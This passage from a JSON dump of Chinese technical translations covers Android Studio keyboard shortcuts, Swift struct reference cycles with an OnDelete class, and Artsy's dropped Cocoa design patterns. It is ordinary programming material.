to Nested File）\n\n- **描述：**有时你有一堆存放在不同目录下的同名文件，例如不同模块下的`AndroidManifest.xml`文件，当你想定位到其中的一个文件，你会得到一堆搜索结果，你还得辨认哪个才是你需要的。通过在检索框中输入部分路径的前缀，并添加斜杠号，你就可以在第一次尝试的时候就找到正确的那个。\n- **快捷键：**Cmd + O(OS X)、Ctrl + N﻿(Windows/Linux);\n\n![](https://lh6.googleusercontent.com/-23C2Q2S0c2E/VFzEI5iu0GI/AAAAAAAAOwM/Os1jGMHGVIA/w418-h268-no/63-nestednavigation.gif)\n\n# 37. 定位到父类（Navigate to parent） \n\n- **描述：**如果光标是在一个继承父类重写的方法里，这个操作将定位到父类实现的地方。如果光标是在类名上，则定位到父类类名。\n- Menu → Navigate → Super Class/Method\n- **快捷键：**Cmd + U(OS X)、Ctrl + U(Windows/Linux);\n\n![](https://lh3.googleusercontent.com/-HCX5cbjkiuo/VDJ-dJa7wUI/AAAAAAAAN-M/dW0h7cQ9l0Y/w416-h290/39-navigatetoparent.gif)\n\n# 38. 取反补全（Negation Completion）\n\n- **描述：**有时你自动补全一个布尔值，然后回到该值的前面添加一个感叹号来完成取反操作，现在通过使用输入`!`代替`enter`完成补全操作，就可以跳过这些繁琐的操作了。\n- **快捷键：**代码补全的时候，按下`!`即可（有时需要上下键选中候选项）；\n\n![](https://lh5.googleusercontent.com/-L971XD2Nezg/VFN0qljSJQI/AAAAAAAAOj8/5k9fkjOwjIQ/w466-h254-no/58-negatecompletion.gif)\n\n# 39. 根据编号打开面板（Open a Panel by Its Number）\n\n- **描述：**你可能已经注意到某些面板的名称左边有一个数字，这里有个快捷操作可以打开它们。如果你没看到面板的名称，请点击IDE的左下角的切换按钮。\n- **快捷键：**Cmd + 数字(OS X)、Alt + 数字(Windows/Linux);\n\n![](https://lh3.googleusercontent.com/-9qiNX0P0KSk/VDfBFEAKW8I/AAAAAAAAOD4/HytPoJV07BA/w567-h387-no/42-openpanelbynumber.gif)\n\n# 40. 在外部打开文件（Open File Externally）\n\n- **描述：**通过这个快捷键，简单地点击Tab，就可以打开当前文件所在的位置或者该文件的任意上层路径。\n- **快捷键：**Cmd + 单击Tab(OS X)、Ctrl + 点击Tab(Windows/Linux);\n\n![](https://lh5.googleusercontent.com/-EAoir3ZP1bM/VFtyO5OaU_I/AAAAAAAAOug/b6jeKDVT-BM/w418-h268-no/62-openfinder.gif)\n\n# 41. 参数信息（Parameter Info）\n\n- **描述：**这个操作将显示和你在方法声明处写一样的参数列表，当你想看某个存在的方法的参数，这是一个很有用的操作。光标下的参数显示为黄色，如果没有参数显示黄色，意味着你的方法调用是无效的，很可能是某个参数分配不对。（例如一个浮点数赋值给了整型参数）。如果你正在写一个方法调用，突然离开编辑的地方，再返回的时候，输入一个逗号，就可以重新触发参数信息。\n- **快捷键：**Cmd + P(OS X)、Ctrl + U(Windows/Linux);\n\n![](https://lh4.googleusercontent.com/-npufWa5yynk/VDvJpJ717BI/AAAAAAAAOHs/Sx3OHdapfRk/w472-h195-no/44-parameterinfo.gif)\n\n# 42. 后缀补全（Postfix Completion）\n\n- **描述：**你可以认为该操作是一种代码补全，它会在点号之前生成代码，而不是在点号之后。实际上你调用这个操作和正常的代码补全操作一样：在一个表达式之后输入点号。\n\n例如对一个列表进行遍历，你可以输入`myList.for`，然后按下Tab键，就会自动生成`for`循环代码。\n- **调用：** \n你可以在某个表达式后面输入点号，出现一个候选列表，在常规的代码补全提示就可以看到一系列后缀补全关键字，同样的，你也可以在`Editor → Postfix Completion`中看到一系列后缀补全关键字。\n\n- 常用的有后缀补全关键字有：\n    - **.for** (补全foreach语句)\n    - **.format** (使用`String.format()`包裹一个字符串)\n    - **.cast** (使用类型转化包裹一个表达式)\n\n![](https://lh5.googleusercontent.com/-rLMdeb9cbBM/VCVUw0Y656I/AAAAAAAANt8/J2KiRPMjRzs/w474-h136-no/33-postfixcompletion.gif)\n\n\n# 43. 快速查看定义（Quick Definition Lookup）\n\n- **描述：**你曾经是否想查看一个方法或者类的具体实现，但是不想离开当前界面？   该操作可以帮你搞定。\n- **快捷键：**Alt + Space / Cmd + Y(OS X)、Ctrl + Shift + I(Windows/Linux)\n\n![](https://lh4.googleusercontent.com/-m6b46h-k1ac/U_Ca197xNxI/AAAAAAAAMyQ/6W2kUyV6Ru0/w584-h191-no/05-quickdefinition.gif)\n\n# 44. 最近修改的文件（Recently Changed Files）\n\n- **描述：**该操作类似于“最近访问（Recents）”弹窗，会显示最近本地修改过的文件列表，根据修改时间排列。可以输入字符来过滤列表结果。\n- **快捷键：**Cmd + Shift + E(OS X)、Ctrl + Shift + E(Windows/Linux)\n\n![](https://lh4.googleusercontent.com/-_WNvGPZ3az0/VET1ysjYmEI/AAAAAAAAOSA/bpAbyKszjtU/w411-h365-no/49-recentlyedited.gif)\n\n# 45. 最近访问（Recents）\n\n- **描述：**该操作可以得到一个最近访问文件的可搜索的列表。\n- **快捷键：**Cmd + E(OS X)、Ctrl + E(Windows/Linux)\n\n![](https://lh3.googleusercontent.com/-EPVBvnrdPgM/U_8OI4fcZfI/AAAAAAAANKE/FjVm2bKiJzA/w480-h300-no/14-recents.gif)\n\n\n# 46. 重构（Refactor This）\n\n- **描述：**该操作可以显示所有对当前选中项可行的重构方法。这个列表可以用数字序号快速选择。\n\n- **快捷键：**Ctrl + T(OS X)、Ctrl + Alt + Shift + T(Windows/Linux)\n\n![](https://lh5.googleusercontent.com/-S_zwUzYS4gk/VEZBrBGH0lI/AAAAAAAAOUw/n7QoGhegtZQ/w480-h206-no/50-relatedfile.gif)\n\n# 47. 相关文件（Related File）\n\n- **描述：**该操作有助于在布局文件和Activity/Fragment之间轻松跳转。这也是一个快捷操作，在类名/布局顶端的左侧。\n- **快捷键：**Ctrl + Cmd + Up(OS X)、Ctrl + Alt + Home(Windows/Linux)\n\n![](https://lh5.googleusercontent.com/-S_zwUzYS4gk/VEZBrBGH0lI/AAAAAAAAOUw/n7QoGhegtZQ/w480-h206-no/50-relatedfile.gif)\n\n# 48. 重命名（Rename）\n\n- **描述：**你可以通过该操作重命名变量、字段、方法、类、包。当然了，该操作会确保重命名对上下文有意义，不会无脑替换掉所有文件中的名字；\n- **快捷键：**Shift + F6\n- **更多：**如果你忘记了这个快捷键，你可以使用快速修复（Quick Fix）的快捷键，它通常包含重命名选项。\n\n![](https://lh4.googleusercontent.com/-ARaBtgwf8cc/VE97brZNoII/AAAAAAAAOeE/0JlFDxsxH5g/w332-h177-no/55-rename.gif)\n\n# 49. 返回到编辑器（Return to the Editor）\n\n- **描述：**一大堆快捷键操作会把你从编辑器带走（type hierarchy, find usages, 等等）。如果你想返回到编辑器，你有两个选项：\n    1. Esc：该操作仅仅把光标移回编辑器。\n    2. Shift + Esc：该操作会关闭当前面板，然后把光标移回到编辑器。\n\n- **快捷键：**\n    - 返回但保留打开的面板：Esc\n    - 关闭面板并返回：Shift + Esc\n\n![](https://lh6.googleusercontent.com/-q4dM4dIngCI/VDPLU9ZaohI/AAAAAAAAN_g/5IEsckp4usI/w550-h299-no/40-returntoeditor.gif)\n\n# 50. Select In\n\n- **描述：**拿着当前文件然后问你在哪里选中该文件。恕我直言，最有用的就是在项目结构或者资源管理器中打开该文件。每一个操作都有数字或者字母作为前缀，可以通过这个前缀来快速跳转。通常，我会 Alt + F1 然后 回车(Enter) 来打开项目视图，然后 再用 Alt + F1 在OS X的Finder里找到文件。你可以在文件中或者直接在项目视图里使用该操作。\n\n- **快捷键：**Alt + F1；\n\n![](https://lh5.googleusercontent.com/-MFV8-JsmzSU/VAmquOrEs8I/AAAAAAAANT0/_2TV_0RGtgg/w449-h337-no/19-select-in.gif)\n\n# 51. 分号/点 补全（Semicolon Dot Completion）\n\n- **描述：**代码补全这个功能太棒啦！我们大概都对以下这种情况很熟悉：开始输入点什么东西，接着从IDE得到一些建议的选项，然后通过Enter或者Tab来选择我们想要的补全代码。其实还有另外一种方法来选择补全的代码：我们可以输入一个点(.)或者一个分号(;)。这样就会完成补全，添加所选字符。这在结束一条语句补全或者快速链式调用方法的时候特别有用。\n- **注意点：**如果你要代码补全的方法需要参数，这些参数会被略过。\n- **快捷键：**Autocomplete + \".\" 或者 \";\"\n\n![](https://lh4.googleusercontent.com/-rkL6r3uJeeI/VGnwEJ9ULYI/AAAAAAAAO90/biElGOpX60I/w352-h177-no/69-semicolondotcompletion.gif)\n\n# 52. 显示当前运行点（Show Execution Point）\n\n- **描述：**该操作会立刻把你的光标移回到当前debug处。\n\n通常的情况是：\n1. 你在某处触发了断点\n2. 然后在文件中随意浏览\n3. 直接调用这个快捷键，快速返回之前逐步调试的地方。\n\n\n- **快捷键：**（Debug时) Alt + F10；\n\n![](https://lh3.googleusercontent.com/-sXEoJvHd_QQ/VCvo5CMmOuI/AAAAAAAAN5c/zq_9YB05-3U/w443-h287-no/36-executionpoint.gif)\n\n# 53. 扩大选择（Extend Selection）\n\n- **描述：**该操作会在上下文逐渐扩大当前选择范围。例如，它会先选中当前变量，再选中当前语句，然后选中整个方法，等等。\n- **快捷键：**Alt + ↓ (OS X)、Ctrl + w （Windows、Linux）\n\n![](https://lh6.googleusercontent.com/-7KdcfTVc-is/U_xh2BbGyzI/AAAAAAAANFE/joWJV9qWBB4/w357-h212-no/12-expand_shrink_selection.gif)\n\n# 54. 终止进程（Stop Process）\n\n- **描述：**该操作会终止当前正在运行的任务。如果任务数量大于一，则显示一个列表供你选择。在终止调试或者中止编译的时候特别有用！\n- **快捷键：**Cmd + F2(OS X)、Ctrl + F2（Windows、Linux）；\n\n![](https://lh4.googleusercontent.com/-6i3EY9IZJBg/VCqVy_ab3EI/AAAAAAAAN4U/ebD7lM9J68Q/w451-h265-no/35-stoprocess.gif)\n\n# 55. Sublime Text式的多处选择（Sublime Text Multi Selection）\n\n- **描述：**这个功能超级赞！该操作会识别当前选中字符串，选择下一个同样的字符串，并且添加一个光标。这意味着你可以在同一个文件里拥有多个光标，你可以同时在所有光标处输入任何东西。\n- **快捷键：**Ctrl + G(OS X)、Alt + Ｊ（Windows、Linux）\n\n![](https://lh6.googleusercontent.com/-WnxHwPuakFo/VCKmDdkETtI/AAAAAAAANqM/ZHrNT4clOZ0/w228-h146-no/32-multiselection.gif)\n\n# 56. 包裹代码（Surround With）\n\n- **描述：** 该操作可以用特定代码结构包裹住选中的代码块，通常是if语句，循环，try/catch语句或者runnable语句。\n如果你没有选中任何东西，该操作会包裹当前一整行。\n\n- **快捷键：**Cmd + Alt + T(OS X)、Ctrl + Alt + T(Windows/Linux)\n\n![](https://lh3.googleusercontent.com/-WNvPYepdWXY/U_268lLrzWI/AAAAAAAANHc/CgirqvEZTbw/w299-h167-no/13-surround_with.gif)\n\n# 57. 临时断点（Temporary Breakpoints）\n\n- **描述：**通过该操作可以添加一个断点，这个断点会在第一次被命中的时候自动移除。\n\n- **快捷键：**Alt + 鼠标左键 点击代码左侧（鼠标）、Cmd + Alt + Shift + F8(OS X)、Ctrl + Alt + Shift + F8(Windows/Linux)\n\n![](https://lh6.googleusercontent.com/-v8cbsJxsip0/VBLWIO7o0FI/AAAAAAAANbo/XNNiE_ZDCg0/w487-h212-no/24-temporarybreakpoints.gif)\n\n# 58. 调用层级树弹窗（The Call Hierarchy Popup）\n\n- **描述：**该操作会给你展示 在一个方法的声明和调用之间所有可能的路径。\n\n- **快捷键：**Ctrl + Alt + H\n\n![](https://lh6.googleusercontent.com/-Edb4Dy_berY/U-9E-x1D78I/AAAAAAAAMwg/Mq7X_Xvj-qg/w451-h384-no/04-callinghierarchy.gif)\n\n# 59. 文件结构弹窗（The File Structure Popup）\n\n- **描述：**该操作可以展示当前类的大纲，并且可以快速跳转。你还可以通过键盘输入来过滤结果。这是一种很高效的方法来跳转到指定方法。\n\n- **更多：**\n    - 你在输入字符的时候可以用驼峰风格来过滤选项。比如输入\"oCr\"会找到\"onCreate\"\n    - 你可以通过勾选多选框来决定是否显示匿名类。这在某些情况下很有用，比如你想直接跳转到一个OnClickListener的onClick方法。\n\n- **快捷键：**Cmd + F12(OS X)、Ctrl + F12(Windows/Linux)\n- **调用：**Menu → Navigate → File Structure\n\n![](https://lh6.googleusercontent.com/-oU5M7gpIox0/U-38k3PKTbI/AAAAAAAAMvY/FtzUQhfhvIc/w326-h297-no/03-filestructure.gif)\n\n# 60. 切换器（The Switcher）\n\n- **描述：**该快捷键基本上就是IDE的alt+tab/cmd+tab命令。你可以用它在导航tab或者面板切换。一旦打开这个窗口，只要一直按着ctrl键，你可以通过对应的数字或者字母快捷键快速选择。你也可以通过backspace键来关闭一个已选中的tab或者面板。\n\n- **快捷键：**Ctrl + Tab\n\n![](https://lh5.googleusercontent.com/-AUk6sHCcJVo/VD5Xhfy0uHI/AAAAAAAAOKg/O9z7RomZZ3I/w532-h349-no/46-switcher.gif)\n\n# 61. 移除包裹代码（Unwrap Remove）\n\n- **描述：**该操作会移除周围的代码，它可能是一条if语句，一个while循环，一个try/catch语句甚至是一个runnable语句。该操作恰恰和包裹代码（Surround With）相反。\n\n- **快捷键：**Cmd + Shift + Delete(OS X)、Ctrl + Shift + Delete(Windows/Linux)\n\n![](https://lh6.googleusercontent.com/-0k_qemxahqE/VA2Qvc28GWI/AAAAAAAANVc/haz3hyVg-nM/w546-h237-no/20-unwrap.gif)\n\n# 62. 版本控制操作弹窗（VCS Operations Popup）\n\n- **描述：**该操作会给你显示最常用的版本控制操作。如果你的项目没有用git等版本控制软件进行管理，它至少会给你提供一个由IDE维护的本地历史记录。\n- **快捷键：**Ctrl + V(OS X)、Alt + `(Windows/Linux)\n\n![](https://lh4.googleusercontent.com/-ECCa5aqBxCk/VC02T6rz1gI/AAAAAAAAN7E/dtD24CNJbdg/w450-h329-no/37-vcspopup.gif)\n"
  },
  {
    "path": "TODO/Breaking-Swift-with-reference-counted-structs.md",
    "content": ">* 原文链接 : [Breaking Swift with reference counted structs](http://www.cocoawithlove.com/blog/2016/03/27/on-delete.html)\n* 原文作者 : [Matt Gallagher](http://www.cocoawithlove.com/about/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Tuccuay](https://github.com/Tuccuay)\n* 校对者 : [Jing KE](https://github.com/jingkecn), [Jack King](https://github.com/Jack-Kingdom)\n\n# 打破 Swift 结构体中的循环引用\n\n在 Swift 中，「类」(`class`) 类型会被分配在堆 (heap) 中，并使用引用计数来追踪它的生命周期，并在它被销毁的时候从堆中移除。而「结构体」(`struct`) 则不需要在堆中分配额外的内存空间，也不使用引用计数器机制，同时也就没有了销毁的步骤。\n\n是吧？\n\n事实上，「堆」、「引用计数」、「清除行为」 这些也适用于「结构体」类型。不过要当心：不适当的行为容易引发问题，接下来我将会向你展示你可能会怎样把「结构体」当成「类」来使用的结果，并告诉你为什么会导致内存泄漏、错误行为和编译器错误。\n\n> **警告**：这篇文章使用了一些 __反模式__（你千万不要真的去这么干），我这么做是为了突出结构体在使用闭包时一些不容易被注意到的风险，避免危险的最好方式就是掌握好它们，除非你了解风险后还能怡然自得。\n\n目录：\n\n1.  [在结构体中类的作用域](#class-fields-in-a-struct)\n2.  [尝试从一个闭包中访问结构体](#trying-to-access-a-struct-from-a-closure)\n3.  [疯狂的循环](#completely-loopy)\n4.  [我们要怎样破解这个循环？](#can-we-break-the-loop)\n5.  [复制行不通，共享引用怎么样？](#copies-bad-shared-references-good)\n6.  [一些观点](#some-perspective)\n7.  [说在最后](#conclusion)\n\n## 在结构体中类的作用域 <a name=\"class-fields-in-a-struct\" />\n\n虽然一个「结构体」通常不会具有 `deinit` 方法，但像其它的 Swift 类型一样，他也需要被正确的引用计数。当结构体内的成员变量被引用或者整个结构体被销毁时，都必须正确的将引用计数增加或减少。\n\n事实上我们可以这样做，当一个「结构体」满足一定条件的时候，其引用计数将随「结构体」的相应行为减少，就好像它拥有 `deinit` 方法一样，要做到这一点，我们可以使用 OnDelete 类\n\n```swift\npublic final class OnDelete {\n    var closure: () -> Void\n    public init(_ c: () -> Void) {\n        closure = c\n    }\n    deinit {\n        closure()\n    }\n}\n```\n\n并且这样来使用这个 `OnDelete` 类：\n\n```swift\nstruct DeletionLogger {\n    let od = OnDelete { print(\"DeletionLogger deleted\") }\n}\n\ndo {\n    let dl = DeletionLogger()\n    print(\"Not deleted, yet\")\n    withExtendedLifetime(dl) {}\n}\n```\n\n将会得到这样的输出：\n\n```bash\nNot deleted, yet\nDeletionLogger deleted\n```\n\n当 `DeletionLogger` 被删除（也就是在 `print` 之后的 `withExtendedLifetime` 运行完之后），`OnDelete` 的闭包将会被执行。\n\n## 尝试从一个闭包中访问结构体 <a name=\"trying-to-access-a-struct-from-a-closure\" />\n\n现在看起来还一切正常，一个 `OnDelete` 对象可以在结构体被销毁之前执行一个函数，这看起来有点像是 `deinit` 方法。不过虽然它看起来能模仿「类」的 `deinit` 行为，但是 `deinit` 有一个很重要的功能 `OnDelete` 方法办不到：在结构体的作用域内运行。\n\n尽管这是一个很糟糕的主意，不过还是让我们来尝试着来访问一下结构体看看会有什么不顺心的事情发生。我们将使用一个简单的结构体，它会有一个 `Int` 值和一个 `OnDelete` 闭包，最后会输出一个 `Int` 值。\n\n```swift\nstruct Counter {\n    let count = 0\n    let od = OnDelete { print(\"Counter value is \\(count)\") }\n}\n```\n\n我们不能这样干（报错信息：`Instance member 'count' cannot be used on type 'SomeStruct'`）。这不奇怪：我们没有被允许这样做，你不能从一个类的初始化方法 (`initializer`) 中访问其它空间。\n\n让我们来正确的初始化一个结构体并且尝试着获取其中一个成员变量：\n\n```swift\nstruct Counter {\n    let count = 0\n    var od: OnDelete? = nil\n    init() {\n        od = OnDelete { print(\"Counter value is \\(self.count)\") }\n    }\n}\n```\n\n编译器在 Swift 2.2 报了一个「内存区段错误」(segmentation fault)，而在 Swift 开发版本快照 (Swift Development Snapshot) 2016-03-26 版本则报了一个「致命错误」(fatal error)。\n\n\"Excellent!\"，我现在很开心(I'm Angry!)。\n\n当然，我能这样避免所有的编译错误：\n\n```swift\nstruct Counter {\n    var count: Int\n    let od: OnDelete\n    init() {\n        let c = 0\n        count = c\n        od = OnDelete { print(\"Counter value is \\(c)\") }\n    }\n}\n```\n\n或者用另一种不常见的方法，在这种情况下它们是等效的：\n\n```swift\nstruct Counter {\n    var count = 0\n    let od: OnDelete?\n    init() {\n        od = OnDelete { [count] in print(\"Counter value is \\(count)\") }\n    }\n}\n```\n\n可是这两个方法并不能真的让我们访问到这个结构体本身。因为这两种方法捕捉到的都只是 `count` 的不可变副本，但是我们想要得到的是最新的 `count` 可变值。\n\n```swift\nstruct Counter {\n    var count = 0\n    var od: OnDelete?\n    init() {\n        od = OnDelete { print(\"Counter value is \\(self.count)\") }\n    }\n}\n```\n\n万岁！这样就更完美了。 一切都是可变的并且共享的。 我们捕获到了 count 变量，并且通过了编译。\n\n我们应该来尝试使用这个代码，因为他能很好的工作，不是吗？\n\n## 疯狂的循环 <a name=\"completely-loopy\" />\n\n如果我们像之前那样运行代码的话，显然是不行的：\n\n```swift\ndo {\n    let c = Counter()\n    print(\"Not deleted, yet\")\n    withExtendedLifetime(c) {}\n}\n```\n\n我们只会得到这样的输出：\n\n```bash\nNot deleted, yet\n```\n\n这个 `OnDelete` 闭包没有被调用，为什么？\n\n通过查看 SIL(Swift Intermediate Language，Swift 中继语言，通过 `swiftc -emit-sil` 命令返回)，很显然在 `OnDelete` 的闭包里阻止了 `self` 被优化到堆中。这就意味着并非使用 `alloc_stack`，`self` 变量是通过 `alloc_box` 来分配的：\n\n```bash\n%1 = alloc_box $Counter, var, name \"self\", argno 1 // users: %2, %20, %22, %29\n```\n\n并且这个 `OnDelete` 的闭包引用了这个 `alloc_box`。\n\n发生了什么问题？这是一个引用计数循环：\n\n闭包引用了这个封装的 `Counter` → 这个封装的 `Counter` 引用了 `OnDelete` → `OnDelete` 引用了闭包\n\n当这个循环产生之后，我们的 `OnDelete` 对象永远都不会被释放，从而也就不会去调用那个闭包。\n\n## 我们要怎样破解这个循环？ <a name=\"can-we-break-the-loop\" />\n\n如果 `Counter` 是一个类，我们可以使用 `[weak self]` 闭包来避免这个循环强引用，然而 `Counter` 是一个结构体而不是一个类，试图这样做只会得到一个报错，真糟糕。\n\n我们能不能手动打破这个循环，在构造之后，把 `od` 属性设置为 `nil`？\n\n```swift\nvar c = Counter()\nc.od = nil\n```\n\n不行，依然不能正常工作，这是为什么呢？\n\n当 `Counter.init` 函数结束时，`alloc_box` 所创建的被拷贝到了堆栈中。这意味着这个被 `OnDelete` 引用的副本与我们所访问到的副本不同。`OnDelete` 引用的副本现在我们无法访问。\n\n我们已经创建了一个牢不可破的循环。\n\n就像 [Joe Groff 在推上说的那样](https://twitter.com/jckarter/status/715171466283646977)，Swift 发展进程 SE-0035 应该避免此问题的产生，通过限制最大 `inout` 捕获（也就是 `Counter.init` 方法使用的那种捕捉），直到 `@noescape` 闭包（这将防止 `OnDelete` 的尾随闭包被捕获）。\n\n## 复制行不通，共享引用怎么样？ <a name=\"copies-bad-shared-references-good\" />\n\n这样的问题产生是因为我们的方法返回的副本和从 `self` 的 `Counter.init` 返回的不同。我们需要的让返回的版本和引用的版本相同。\n\n让我们避免在 `init` 方法中做任何事情，并且使用一个 `static`（静态）方法来替代它。\n\n```swift\nstruct Counter {\n    var count = 0\n    var od: OnDelete? = nil\n    static func construct() -> Counter {\n        var c = Counter()\n        c.od = OnDelete{\n            print(\"Value loop break is \\(c.count)\")\n        }\n        return c\n    }\n}\n\ndo {\n    var c = Counter.construct()\n    c.count += 1\n    c.od = nil\n}\n```\n\n还是同样的问题：我们获得了一个 `Counter` ，它被永久性的嵌入在 `OnDelete` 上，这不是被返回的那个版本。\n\n让我们来改变这个 `static` 方法...\n\n```swift\nstruct Counter {\n    var count = 0\n    var od: OnDelete? = nil\n    static func construct() -> () -> () {\n        var c = Counter()\n        c.od = OnDelete{\n            print(\"Value loop break is \\(c.count)\")\n        }\n        return {\n            c.count += 1\n            c.od = nil\n        }\n    }\n}\n\ndo {\n    var loopBreaker = Counter.construct()\n    loopBreaker()\n}\n```\n\n现在的输出是这样：\n\n```bash\nCounter value is 1\n```\n\n这样终于奏效了，可以看到我们的 `loopBreaker` 闭包正确的影响到了 `OnDelete` 闭包的打印结果。\n\n现在我们不再需要返回 `Counter` 实例，我们不再会拷贝一个单独的副本。现在只有一个 `Counter` 实例的副本并且它 `alloc_box` 的版本同时共享给两个闭包，我们引用了堆中的 `struct`，并且 `OnDelete` 方法也可以在 `struct` 被销毁的时候正确的访问到它的成员变量了。\n\n# 一些观点 <a name=\"some-perspective\" />\n\n这份代码在技术上能够「运行」，但事实上一团糟。我们造成了一个循环强引用，我们只能手动打破它，我们可以只在 `Counter` 的闭包中设置 `construct` 函数并且只有一个基于此的实例，我们现在在堆中分配了 4 份空间。（`OnDelete` 中的闭包，`OnDelete` 对象本身，封装起来的 `c` 变量和 `loopBreaker` 闭包）。\n\n如果你还没有意识到问题的所在...那我们白白浪费了这些时间。\n\n我们一开始只要创建 `Counter` 为一个「类」，就可以保持分配的堆的数量为 1。\n\n```swift\nclass Counter {\n    var count = 0\n    deinit {\n        print(\"Counter value is \\(count)\")\n    }\n}\n```\n\n长话短说：如果你需要从一个不同的作用域中访问一个可变的数据，那么结构体很可能不是一个好的选择。\n\n## 说在最后 <a name=\"conclusion\" />\n\n闭包捕获是我们写了一些东西并且期望编译器将要做这些事情的时候使用。无论如何，捕获可变的值将会有多种结果，有一些微妙的不同，需要弄明白这点才能避免这些问题。为了修复这些小问题我们使用了复杂的方法，希望 Swift 3 能够修复这些问题。\n\n别忘了在类的属性中捕获结构体也要考虑循环引用的问题。你不能弱引用得捕获结构体，所以如果发生了一个循环强引用，你需要用其它的方法来打破它。\n\n所有情况都表明，这篇文章带你看了一种非常愚蠢的做法：试图用一个结构体捕获它自身。不要那样做，像其它使用引用计数的结构一样，不应该是一个循环。如果你发现你正在尝试着创造一个循环，那你可能需要使用 `class` 类型并且用 weak（弱引用）来从子元素连接父元素。\n\n最后的最后，我还有一个使用 `OnDelete` 这个类的好想法（我将会在下一篇文章中使用它），但是我不应该在一开始就想着让它能够像 `deinit` 方法一样工作——这是它产生问题的关键（它的属性超出作用域）。\n"
  },
  {
    "path": "TODO/Cocoa-Architecture-Dropped-Design-Patterns.md",
    "content": "> * 原文链接: [Cocoa Architecture: Dropped Design Patterns](http://artsy.github.io/blog/2015/09/01/Cocoa-Architecture-Dropped-Design-Patterns/)\n* 原文作者 : [Author: orta - Artsy Engineering](http://artsy.github.io/author/orta/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [nathanwhy](https://github.com/nathanwhy)\n* 校对者: [walkingway](https://github.com/walkingway)、[iThreeKing](https://github.com/iThreeKing)\n* 状态 :  完成\n\n# Artsy 工程师总结的一些 Cocoa 开发设计误区\n\n在开发 Artsy 这款 iOS app 的时候，我们尝试了一些设计模式。现在我想要谈谈我们现在有的和已经被移除的设计模式。我不会面面俱到，毕竟已经历了那么长时间，有那么多人参与过。而我想从更高的层面去审视，关注那些总体上更重要的东西。\n\n很重要的一点需要先声明下，我不相信有完美的代码，或者说我喜欢重写代码。我们可以发现一个坏的模式而什么都不做。毕竟我们有 app 需要完成，而不可能纯粹为了技术，追求更完美的代码库。\n\n## 用 NSNotification 解耦\n\n大量 Energy 的初始代码库依靠 `NSNotification` 在应用程序内传递信息。这些通知用于用户设置调整，下载状态更新，授权与相应的错误状态，以及一些 app 特性。这些 Energy 代码太过于依赖这些全局通知进行交流，而鲜有尝试去窥探对象之间的关系。\n\n`NSNotificationCenter` 的通知在 Cocoa 是一种[观察者模式](https://en.wikipedia.org/wiki/Observer_pattern)的实现。 他们是初学者到中级程序员设计范式的梦想。它提供一种解耦的方式让对象相互发送消息。这对于刚入门的 iOS 开发者来说很容易上手。\n\n使用 `NSNotification` 最大的弊端在于容易使得开发者变懒。它允许你不去深究对象之间的关系，假装它们是松耦合的。而实际当他们是耦合的时候，却通过字符类型的通知传递消息。\n\n松耦合（Loose-coupling）有它的作用，但是一不小心容易存在没有对象监听通知。[学会](http://stackoverflow.com/questions/tagged/nsnotification)注销注册也是一个棘手的问题，默认的内存管理行为将会被改变（[了解更多](https://developer.apple.com/library/prerelease/mac/releasenotes/Foundation/RN-Foundation/index.html#//apple_ref/doc/uid/TP30000742)）。\n\n我们在 Energy 还是存在[大量的通知](https://github.com/artsy/energy/blob/702036664a087db218d3aece8ddddb2441f931c8/Classes/Constants/ARNotifications.h)，而在 Eigen 和 Eidolon 几乎没有。我们甚至没有一个具体的文件来储存常量。\n\n## #define kARConstant\n\n这里不用多说，当我学习 Objective-C 的时候，确实[喜欢](https://github.com/adium/adium/blob/master/Source/AdiumAccounts.m#L24-L30)使用 `#defines` 声明常量。就像 C 语言里面的 throw back。使用 `#defines` 声明常量并不会消耗设备内存来储存常量。这是因为 `#defines` 在预编译阶段直接将源代码替换为值，而使用静态常量会消耗设备的内存空间。我们以前对此很在意。但很可能是现代版本的 LLVM 在需要时才分配设备内存，特别是那些被标记为 const 的。转化为真实变量意味着你可以在调试模式下检查和使用，同时更好地依赖类型系统。\n\n说了这么多，其实就是当我们[写](https://github.com/artsy/eigen/blob/master/Artsy/Views/Table_View_Cells/AdminTableView/ARAnimatedTickView.m#L3): `#define TICK_DIMENSION 32` 的时候，应该[改成](https://github.com/artsy/eigen/blob/master/Artsy/View_Controllers/App_Navigation/ARAppSearchViewController.m#L11) `static const NSInteger ARTickViewDimensionSize = 20;`。\n\n## 撒点分析（Sprinkling Analytics）\n\n在[统计分析](https://cocoapods.org/pods/ARAnalytics#user-content-aspect-oriented-dsl)中，我们采用[面向切面编程](http://albertodebortoli.github.io/blog/2014/03/25/an-aspect-oriented-approach-programming-to-ios-analytics/)的思想。\n\n过去代码是[这样](https://github.com/artsy/energy/blob/master/Classes/Controllers/Popovers/Add%20to%20Album/ARAddToAlbumViewController.m#L271-L282):\n\n    @implementation ARAddToAlbumViewController\n\n    - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath\n    {\n        if (indexPath.row < [self.albums count]) {\n            Album *selectedAlbum = ((Album *)self.albums[indexPath.row]);\n            ARTickedTableViewCell *cell = (ARTickedTableViewCell *)[self.tableView cellForRowAtIndexPath:indexPath];\n\n            if ([cell isSelected]) {\n                [ARAnalytics event:ARRemoveFromAlbumEvent withProperties:@{\n                    @\"artworks\" : @(self.artworks.count),\n                    @\"from\" : [ARNavigationController pageID]\n                }];\n                [...]\n\nWe would instead build something [like this](https://github.com/artsy/eigen/blob/master/Artsy/App/ARAppDelegate+Analytics.m#L69):\n\n现在是[这样](https://github.com/artsy/eigen/blob/master/Artsy/App/ARAppDelegate+Analytics.m#L69)：\n\n    @implementation ARAppDelegate (Analytics)\n\n    - (void)setupAnalytics\n    {\n        ArtsyKeys *keys = [[ArtsyKeys alloc] init];\n      [...]\n        [ARAnalytics setupWithAnalytics: @{ [...] } configuration:\n        @{\n            ARAnalyticsTrackedEvents:\n                @[\n                    @{\n                        ARAnalyticsClass: ARAddToAlbumViewController.class,\n                        ARAnalyticsDetails: @[\n                            @{\n                                ARAnalyticsEventName: ARRemoveFromAlbumEvent,\n                                ARAnalyticsSelectorName: NSStringFromSelector(@selector(tableView: didSelectRowAtIndexPath:)),\n                                ARAnalyticsProperties: ^NSDictionary*(ARAddToAlbumViewController *controller, NSArray *_) {\n                                    return @{\n                                        @\"artworks\" : @(controller.artworks.count),\n                                        @\"from\" : [ARNavigationController pageID],\n                                    };\n                            },\n                            [...]\n                        ]\n                    },\n                  [...]\n\n\n这样就不会把统计代码分散到各个文件中，让每个对象的职责变得单一，这也是我们在 Eigen 中的实现。但我们并未移植到 Energy 